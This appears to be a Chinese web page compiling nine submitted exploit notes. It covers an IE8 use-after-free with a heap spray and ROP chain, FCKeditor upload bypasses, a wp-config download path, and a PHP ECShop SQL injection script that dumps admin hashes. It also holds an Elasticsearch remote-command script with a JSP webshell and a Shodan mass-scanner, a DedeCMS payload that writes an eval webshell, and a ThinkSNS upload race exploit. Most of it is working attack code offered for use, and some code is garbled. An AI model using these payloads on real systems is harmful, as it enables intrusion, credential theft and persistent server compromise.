CVE0497 漏洞利用学习笔记漏洞预警
“szbw”通过精心收集,向本站投稿了9篇CVE0497 漏洞利用学习笔记漏洞预警,这次小编给大家整理后的CVE0497 漏洞利用学习笔记漏洞预警,供大家阅读参考,也相信能帮助到您。
篇1:CVE0497 漏洞利用学习笔记漏洞预警
前面一篇学习了下怎么用ClassName或者title来进行占位,现在学习下如何利用该漏洞
对于UAF漏洞的利用,最简单的就是通过Heap Spary来实现了,国外的大神也提出了一种不用Heap Spary,直接构造一个对象来利用的方法
现在学习一下这两种方法,漏洞利用环境为win7 32位+ie8,我们需要解决的问题有:
1.如果精确进行Heap Spary
2.如何bypass DEP
3.解决ALSR
接下来一个个解决这3个问题:
一、如何精确进行Heap Spary
有关这个问题,泉哥翻译的Exploit编写系列教程有详细的说明,可以参考下,
这里首先说明为什么要进行精确的Heap Spary
由于在xp sp3之后,ie8默认就开启了DEP,这样使得直接进行Heap Spary喷射的内存将不具有可执行的属性,一旦EIP跳到我们喷射的内存上将因为不可执行属性而触发异常:
0:012>g
(cbc.258): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=0c0c0c0c ebx=001fbc98 ecx=00000052 edx=00000000 esi=00000000 edi=0030 eip=90909090 esp=0230d600 ebp=0230d65c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 90909090 ?? ??? 0:005>!address 0c0c0c0c
Failed to map Heaps (error 80004005)
Usage:
Base Address: 0c090000
End Address: 0c111000
Region Size: 00081000 Type: 0000 MEM_PRIVATE
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
因此我们需要构造一个ROP链来将这块内存赋予可执行的属性后再回到这里的内存执行,那么我们就需要确保我们能够精确的知道我们shellcode的具体位置,因为在构造ROP链时我们需要用
喷射的shellcode来控制ROP链中函数的参数等问题,其实是相当于将分配的堆作为新的栈使用(这里需要通过stackpivot技术实现,即指令xchg,如xchg eax,esp将栈指向eax指向的内存空间)
用这段代码完成喷射后的堆空间如下:
0:012>g
(948.c08): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=0c0c0c0c ebx=000e7f98 ecx=00000052 edx=00000000 esi=00000000 edi=00106270 eip=90909090 esp=0230cfa8 ebp=0230d004 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 90909090 ?? ??? 0:005>!heap -p -a eax
address 0c0c0c0c found in _HEAP @ 60000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 0c0c0018 10002 0000 [00] 0c0c0020 80010 - (busy VirtualAlloc)
0c0c0c0c所在堆块的UserPtr为0c0c0020:
0:005>dd 0c0c0020 0c0c0020 00080000 90909090 90909090 90909090 0c0c0030 90909090 90909090 90909090 90909090 0c0c0040 90909090 90909090 90909090 90909090 0c0c0050 90909090 90909090 90909090 90909090 0c0c0060 90909090 90909090 90909090 90909090 0c0c0070 90909090 90909090 90909090 90909090 0c0c0080 90909090 90909090 90909090 90909090 0c0c0090 90909090 90909090 90909090 90909090
0:005>dd 0c0c0020+0x1000 0c0c1020 41414141 90909090 90909090 90909090 0c0c1030 90909090 90909090 90909090 90909090 0c0c1040 90909090 90909090 90909090 90909090 0c0c1050 90909090 90909090 90909090 90909090 0c0c1060 90909090 90909090 90909090 90909090 0c0c1070 90909090 90909090 90909090 90909090 0c0c1080 90909090 90909090 90909090 90909090 0c0c1090 90909090 90909090 90909090 90909090
可见我们喷射的数据是从0c0c0020+4的位置开始的,此时的内存布局如下:
观察以下喷射的内存块:
0:005>!heap -flt s 0x80010 _HEAP @ 60000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 02bd0018 10002 0000 [00] 02bd0020 80010 - (busy VirtualAlloc) 02c60018 10002 0002 [00] 02c60020 80010 - (busy VirtualAlloc) 02ff0018 10002 0002 [00] 02ff0020 80010 - (busy VirtualAlloc) 03280018 10002 0002 [00] 03280020 80010 - (busy VirtualAlloc) 03310018 10002 0002 [00] 03310020 80010 - (busy VirtualAlloc) 03d10018 10002 0002 [00] 03d10020 80010 - (busy VirtualAlloc) 04050018 10002 0002 [00] 04050020 80010 - (busy VirtualAlloc) 043e0018 10002 0002 [00] 043e0020 80010 - (busy VirtualAlloc) 04470018 10002 0002 [00] 04470020 80010 - (busy VirtualAlloc) 04500018 10002 0002 [00] 04500020 80010 - (busy VirtualAlloc)
通过以上数据可以看出每个内存块都以0018结尾,这样我们每次分配的数据相对每个块的UserPtr是固定的,因此我们可以计算出nops与堆块的距离然后构造数据:
ffset=(0x0c0c0c0c-0x0c0c0024)=0xBE8/2=0x5F4
除以2还是因为unscape计算的长度实际是分配字节的一半,
这样的话我们的堆布局如下:
调试如下:
0:012>g
(c50.430): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=0c0c0c0c ebx=002c7de8 ecx=00000052 edx=00000000 esi=00000000 edi=002eaa98
eip=90909090 esp=024fd6b0 ebp=024fd70c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 90909090 ?? ??? 0:005>dd 0c0c0c0c 0c0c0c0c 41414141 41414141 90909090 90909090 0c0c0c1c 90909090 90909090 90909090 90909090 0c0c0c2c 90909090 90909090 90909090 90909090 0c0c0c3c 90909090 90909090 90909090 90909090 0c0c0c4c 90909090 90909090 90909090 90909090 0c0c0c5c 90909090 90909090 90909090 90909090 0c0c0c6c 90909090 90909090 90909090 90909090 0c0c0c7c 90909090 90909090 90909090 90909090
已经实现了精确控制!
二.如何bypass DEP&ASLR
要绕过DEP需要构造ROP链,而构造ROP链就需要考虑ASLR,这里我们采取的方法是用未开启ASLR的模块来绕过ASLR,该是模块hxds.dll,是office的一个组建,通过一条js语句来加载该模块:
location.href = 'ms-help://'
所以我们需要的就是在该模块中构造ROP链并最终调用VirtualProtect。
搜索ROP的过程就不多说了 构造好的ROP链如下:
var stackpivot += “%ub30e%u51c3”; // 0x51c3b30e # RETN [hxds.dll] (align esp) stackpivot += “%u198c%u51be”; // 0x51be198c # POP EBX # RETN [hxds.dll] stackpivot += “%u4a41%u51be”; // 0x51be4a41 # XCHG EAX,ESP # RETN [hxds.dll] var ropchain = “%u34b4%u51bf” + // 0x51bf34b4 # POP ESI # RETN [hxds.dll] “%u10b8%u51bd” + // 0x51bd10b8 # ptr to &VirtualProtect [IAT hxds.dll] “%u2d97%u51bd” + // 0x51bd2d97 # MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll] “%ucba0%u51bd” + // 0x51bdcba0 # XCHG EAX,ESI # RETN 00 [hxds.dll] “%u79e2%u51c3” + // 0x51c379e2 # POP EBP # RETN [hxds.dll] “%u9683%u51c5” + // 0x51c59683 # & call esp [hxds.dll] “%u6fbd%u51c5” + // 0x51c56fbd # POP EAX # RETN [hxds.dll] “%ufdfe%ua17f” + // 0xa17ffdfe # put delta into eax (->put 0x00000201 into ebx) “%u1e01%u51c1” + // 0x51C11E01 # ADD EAX,5E800403 # RETN [hxds.dll] “%u92d8%u51c3” + // 0x51C392D8 # XCHG EAX,EBX # RETN [hxds.dll] “%ue67d%u51bf” + // 0x51BFE67D # XOR EAX,EAX # RETN [hxds.dll] “%u6fbd%u51c5” + // 0x51c56fbd # POP EAX # RETN [hxds.dll] “%ufc3d%ua17f” + // 0xa17ffc3d # put delta into eax (->put 0x00000040 into edx) “%u1e01%u51c1” + // 0x51C11E01 # ADD EAX,5E800403 # RETN [hxds.dll] “%u592b%u51bf” + // 0x51BF592B # XCHG EAX,EDX # RETN [hxds.dll] “%ucf3e%u51be” + // 0x51becf3e # POP ECX # RETN [hxds.dll] “%ud150%u51c5” + // 0x51c5d150 # &Writable location [hxds.dll] “%uf563%u51be” + // 0x51bef563 # POP EDI # RETN [hxds.dll] “%u7402%u51c0” + // 0x51c07402 # RETN (ROP NOP) [hxds.dll] “%u6fbd%u51c5” + // 0x51c56fbd # POP EAX # RETN [hxds.dll] “%u9090%u9090” + // 0x90909090 # nop “%ua8dc%u51bd”; // 0x51BDA8DC # PUSHAD # POP ECX # RETN [hxds.dll]
最终的Exploit页面代码如下:
需要注意的:
第一次控制EIP时的第一条指令是一条StackPivot指令,用来将ESP指向我们可控的内存,此时esp应该是指向0x0c0c0b30,因此这块数据
也需要精确的控制,但这块数据并不是ROP链,因此这里通过填充一系列的RET指令使ESP不断的增加直到到达ROP链的入口0x0c0c0c0c+0x4
篇2:fckeditor漏洞利用漏洞预警
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
可以自定义文件夹名称上传图片木马,利用路径解析漏洞,也可以直接上传ASP木马,
fckeditor漏洞利用漏洞预警
,
如果是ASPX的就将/asp/connector.asp后缀改为ASPX
Type=Image这个变量是我们自己定义的。比如:
fckeditor/editor/filemanager/browser/default/browser.html?Type=xiaosei&Connector=connectors/asp/connector.asp
篇3:FCKeditor漏洞利用总结漏洞预警
Fckeditor漏洞利用总结
查看编辑器版本
FCKeditor/_whatsnew.html
—————————————————————————————————————————————————————————————
2. Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破!测试通过,
—————————————————————————————————————————————————————————————
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
action=“www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media” method=“post”>Upload a new file:
—————————————————————————————————————————————————————————————
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
4.1:提交shell.php+空格绕过
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
—————————————————————————————————————————————————————————————
5. 突破建立文件夹
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
—————————————————————————————————————————————————————————————
6. FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
—————————————————————————————————————————————————————————————
7.常用上传地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
JSP 版:
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址,
—————————————————————————————————————————————————————————————
8.其他上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多站点都已删除_samples 目录,可以试试。
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
—————————————————————————————————————————————————————————————
9.列目录漏洞也可助找上传地址
Version 2.4.1 测试通过
修改CurrentFolder 参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接浏览盘符:
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
—————————————————————————————————————————————————————————————
10.爆路径漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
—————————————————————————————————————————————————————————————
11. FCKeditor 被动限制策略所导致的过滤不严问题
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述:
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
而在apache 下,因为“Apache 文件名解析缺陷漏洞”也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
篇4:WordPresswpFileManagerFileDownload漏洞利用方法漏洞预警
漏洞详解:packetstormsecurity.com/files/121637/WordPress-wp-FileManager-File-Download.html
查找漏洞网站:访问/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download,下载wp-config,其中回显MySQL,
WordPresswpFileManagerFileDownload漏洞利用方法漏洞预警
,
篇5:ECShop2.5.x&2.6.x 注射漏洞利用漏洞预警
ECShop2.5.x&2.6.x goods_script.php 没有初始化SQL,导致注射漏洞
影响2.5.x和2.6.x,其他版本未测试
goods_script.php44行:injection / admin credentials disclosure exploit
if (emptyempty($_GET['type'])) { ... } elseif ($_GET['type'] == 'collection') { ... } $sql .= “ LIMIT ” . (!emptyempty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10); $res = $db->query($sql);
$sql没有初始化,很明显的一个漏洞:)
EXP:
#!/usr/bin/php <= v2.6.2 SQL by puret_t mail: cnhackerx at 163 dot com team:hi.baidu.com/5427518dork: “Powered by ECShop” +---------------------------------------------------------------------------+ '); /** * works with register_globals = On */ if ($argc < 3) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' host path host: target server (ip/hostname) path: path to ecshop Example: php '.$argv[0].' localhost /ecshop/ +---------------------------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $resp = send; preg_match('#href=“([\S]+):([a-z0-9]{32})”#', $resp, $hash); if ($hash) exit(“Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n”); else exit(“Exploit Failed!\n”); function send() { global $host, $path; $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#'; $data = “POST ”.$path.“goods_script.php?type=”.time().“ HTTP/1.1\r\n”; $data .= “Accept: */*\r\n”; $data .= “Accept-Language: zh-cn\r\n”; $data .= “Content-Type: application/x-www-form-urlencoded\r\n”; $data .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n”; $data .= “Host: $host\r\n”; $data .= “Content-Length: ”.strlen($cmd).“\r\n”; $data .= “Connection: Close\r\n\r\n”; $data .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $data); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } ?>
发布日期:-07.19
发布作者:Ryat 影响版本:ECShop2.5.x&2.6.x
官方地址:www.ecshop.com
篇6:QVODCMS V4.0相关漏洞利用及修复漏洞预警
先是上传:
位于admin/Fckeditor/maxcms_upload.htm 可以直接访问
maxcms_upload.htm :
form. name=“form” id=“form” enctype=“multipart/form-data” action=“maxcms_upload.asp?act=up” method=post>
调用maxcms_upload.asp
maxcms_upload.asp:
' www.2cto.com 判断文件类型
if lcase(up_fileExt)=“asp” and lcase(up_fileExt)=“asa” and lcase(up_fileExt)=“aspx” then
CheckFileExt(up_fileExt)=false
end if
if CheckFileExt(up_fileExt)=false then
response.write “文件格式不正确 [ 重新上传 ]”
response.end
end if
很明显过滤了asp asa aspx .... so you know how to use! php cer....
位于Admin\Fckeditor\editor\qvodcms_editor_server下有FCK不过被改名了 也可用直接访问利用
有:
frmupload.html
frmresourcetype.html
frmresourceslist.html
frmfolders.html
frmcreatefolder.html
frmactualfolder.html
Data/##QVODCMS4.0.mdb
md5加密的
后台路径:admin/
用户名:qvodcms
密 码:qvodcms
认证码: qvodcms
but........
安全提醒:你必须修改默认后台admin目录名称不然无法输入帐号密码进后台!
so 你需要猜后台,
QVODCMS V4.0相关漏洞利用及修复漏洞预警
,
篇7:elasticsearch 漏洞利用工具套装漏洞预警
ElasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎,设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。支持通过HTTP使用JSON进行数据索引。
请勿用于非法用途,只供漏洞研究之用
因该脚本造成法律问题,作者概不负责,如果违反相关规定,请通知管理员删除该文章
exp:post提交 支持文件上传功能
exp.py
#!/usr/bin/env python# by heshang ha.cker@me.com# -*- coding: utf-8 -*-importhttplibimporturllib,urllib2importsimplejsonimportstringimportsysfromoptparseimportOptionParserprint'Elasticsearch ExpLoit By Heshang'print' -06-23'options =OptionParser(usage='%prog ip [port] [command]',description='elasticsearch command exec exploit(CVE-2014-3120)')options.add_option('-p','--port',type='int',default='9200',help='The elasticsearch port (default:9200)')options.add_option('-c','--cmd',type='str',default='whoami',help='command to test (default:whoami)')options.add_option('-P','--path',type='str',default='',help='Upload file\'s path')defpost(ip,port,exp):ip=ip port=port path=''exp=exp data = {“size”:1,“query”: {“filtered”: {“query”: {“match_all”: {}} } },“script_fields”: {“exp”: {“script”:exp } } } data = simplejson.dumps(data)headers = {“User-agent”:“Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/0115 Firefox/3.6)”,“Accept”:“ext/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,“Content-Type”:“application/json; charset=utf-8”,“Connection”:“keep-alive”}conn = httplib.HTTPConnection('%s'% ip+':'+'%d'% port)conn.request('POST','/_search?source',data,headers)result = conn.getresponse.read()returnresultdefexec_command(ip,port,cmd):ip=ip port=port cmd=cmd exp ='import java.util.*;\nimport java.io.*;\nString str = \“\”;BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\“'+cmd+'\”).getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str+\“|”);}sb.toString();'rs = post(ip,port,exp)returnrsdefsave_file(ip,port,path):ip=ip port=port path=path upload='testtesttest'#upload='<%@page import=“java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*”%><%!String Pwd=“xxxxx”;String cs=“UTF-8”;String EC(String s)throws Exception{return new String(s.getBytes(“ISO-8859-1”),cs);}Connection GC(String s)throws Exception{String[] x=s.trim().split(“\r\n”);Class.forName(x[0].trim());if(x[1].indexOf(“jdbc:oracle”)!=-1){return DriverManager.getConnection(x[1].trim()+“:”+x[4],x[2].equalsIgnoreCase(“[/null]”)?“”:x[2],x[3].equalsIgnoreCase(“[/null]”)?“”:x[3]);}else{Connection c=DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase(“[/null]”)?“”:x[2],x[3].equalsIgnoreCase(“[/null]”)?“”:x[3]);if(x.length>4){c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i check.py需要安装shodan模块和shodan api #!/usr/bin/env python# -*- coding: utf-8 -*-#by ha.cker@me.comimporttimeimportshodanimportsysimporturllibimportsimplejsonimportsocketprint'******************************************************'print'* Elasticsearch vul found Tool *'print'* Write by ha.cker@me.com *'print'* U can use shodan api to search the vul host *'print'******************************************************'# ConfigurationAPI_KEY =“”# apidefcheck(ip):ip=ip socket.setdefaulttimeout(3)try:rs = urllib.urlopen(''+'%s'%ip +':9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22t%22:{%22script%22:%22Integer.toHexString(31415926)%22}}}}')rs = rs.read()rs = simplejson.loads(rs)except:passtry:fortinrs['hits']['hits'][0]['fields']['t']:t=texcept:passelse:print'found vul host : %s'% ipdefmain():try:#Setupthe api api = shodan.Shodan(API_KEY)query ='you Know, for'foriinrange(1,100):page = itry:result = api.search(query,page)exceptException,e:print'Error: %s and sleep 10 s'% e time.sleep(10)passelse:forserviceinresult['matches']:ip = service['ip_str']ip=str(ip)check(ip)#Loopthrough the matchesandprinteach IPexceptException,e:print'Error: %s and sleep 10 s'% eprinti sys.exit(1)if__name__ =='__main__':main() 最近确实很忙,很久不更新博客了, dedecms的漏洞很多,但是厂商都是不做修复。 之前乌云爆的一个二次注入的漏洞,其中title能够xss,但是官方只是修复了注入,xss并没有修复,只是在title上加了addslashes。 后台可触发xss 利用js代码 01var request = false; 02if(window.XMLHttpRequest) { 03request = new XMLHttpRequest(); 04if(request.overrideMimeType) { 05request.overrideMimeType('text/xml'); 06} 07} else if(window.ActiveXObject) { 08var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; 09for(var i=0; i 10try { 11request = new ActiveXObject(versions[i]); 12} catch(e) {} 13} 14} 15xmlhttp=request; 16 17getshell(); 18function getshell(){ 19 20var postStr=“fmdo=edit&backurl=&activepath=%2Fdedecmsfullnew%2Fuploads%2Fuploads&filename=paxmac.php&str=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E&B1=++%B1%A3+%B4%E6++”;//url需要自己修改 21 22xmlhttp.open(“POST”, “paxmac/dedecmsfullnew/uploads/dede/file_manage_control.php”, true);//url需要自己修改 23xmlhttp.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”); 24xmlhttp.setRequestHeader(“Content-length”, postStr.length); 25xmlhttp.setRequestHeader(“Connection”, “close”); 26xmlhttp.send(postStr); 27} 触发前 触发后 漏洞版本 存在漏洞的版本为:最新的2.8稳定版,(其它版本没测试过) 漏洞文件 存在漏洞的文件为:thumb.php 作者:韦鲲鹏 1、 准备如下PHP文件并上传到服务器(自己的)。 文件内容如下: 2、 计算出临时的文件名: 这里我们可以看文件的99行(刚刚是不是没注意呀!)。 3、 上传临时文件。 4、 访问临时文件。 但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。) Exploit文件内容如下:(这个我就不详细解释了) error_reporting(0); set_time_limit(0); ini_set(“default_socket_timeout”, 5); function http_send($host, $port, $headers) { $fp = fsockopen($host, $port); if (!$fp) die(‘Connection ->fail’); fputs($fp, $headers); return $fp; } function http_recv($fp) { $ret=”"; while (!feof($fp)) $ret.= fgets($fp, 1024); fclose($fp); return $ret; } print “\n# ThinkSns Arbitrary File Upload #\n”; print “# Discovered by 韦鲲鹏 #\n\n”; if ($argc < 4) { print “Usage: php print “Example: php localhost /thinksns/ localhost/test/123.php\n”; die(); } $host = $argv[1]; $path = $argv[2]; $url = $argv[3]; $i=0; //上传数据包 $headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”; $headers_up .= “Host: “.$host.”\r\n”; $headers_up .= “Connection: close\r\n\r\n”; echo $headers_up; //临时文件访问数据包 $headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”; $headers .= “Host: “.$host.”\r\n”; $headers .= “Connection: close\r\n\r\n”; echo $headers; while(++$i<10) { fclose(http_send($host, 80, $headers)); } fclose(http_send($host, 80, $headers_up)); while(++$i<50) { fclose(http_send($host, 80, $headers)); } $headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”; $headers .= “Host: “.$host.”\r\n”; $headers .= “Connection: close\r\n\r\n”; $res=http_recv(http_send($host, 80, $headers)); if(preg_match(‘/200 OK/’,$res)) { print “Success!\n\n”; } else { print “Fail!\n\n”; } ?> 【CVE0497 漏洞利用学习笔记漏洞预警】相关文章:篇8:dedecms利用xss+csrf getshell漏洞预警
篇9:Thinksns2.8文件上传漏洞利用exp漏洞预警






文档为doc格式